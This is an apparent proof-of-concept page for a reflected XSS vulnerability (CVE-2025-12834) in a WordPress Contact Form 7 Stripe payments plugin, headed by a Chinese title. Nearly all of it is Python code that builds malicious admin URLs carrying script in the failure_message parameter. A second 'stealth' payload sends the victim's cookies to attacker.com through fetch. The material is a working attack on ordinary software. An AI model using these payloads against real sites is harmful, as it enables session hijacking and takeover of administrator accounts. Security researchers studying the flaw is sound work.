CVE-2025-12834 WordPress Contact Form 7 Stripe插件反射型XSS漏洞

import urllib.parse # CVE-2025-12834 PoC - Reflected XSS in Contact Form 7 Stripe Plugin # Target: WordPress site with Accept Stripe Payments Using Contact Form 7 plugin <= 3.1 def generate_xss_payload(): """Generate XSS payload for failure_message parameter""" payload = '<script>alert(document.cookie)</script>' return urllib.parse.quote(payload) def generate_poc_url(target_url, plugin_page='wp-admin/admin.php?page=cf7sa'): """ Generate PoC URL for CVE-2025-12834 Args: target_url: Target WordPress site URL plugin_page: Plugin admin page path Returns: Malicious URL with XSS payload """ xss_payload = generate_xss_payload() # Construct malicious URL with failure_message parameter containing XSS poc_url = f"{target_url}/{plugin_page}&failure_message={xss_payload}" return poc_url # Example usage if __name__ == "__main__": target = "https://example-wordpress-site.com" poc = generate_poc_url(target) print(f"Target: {target}") print(f"PoC URL: {poc}") print("\nNote: This PoC demonstrates the reflected XSS vulnerability.") print("When a logged-in user visits this URL, the JavaScript will execute.") # Alternative PoC - More stealthy payload def generate_stealth_poc(): """Generate more sophisticated XSS payload""" stealth_payload = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">' return urllib.parse.quote(stealth_payload)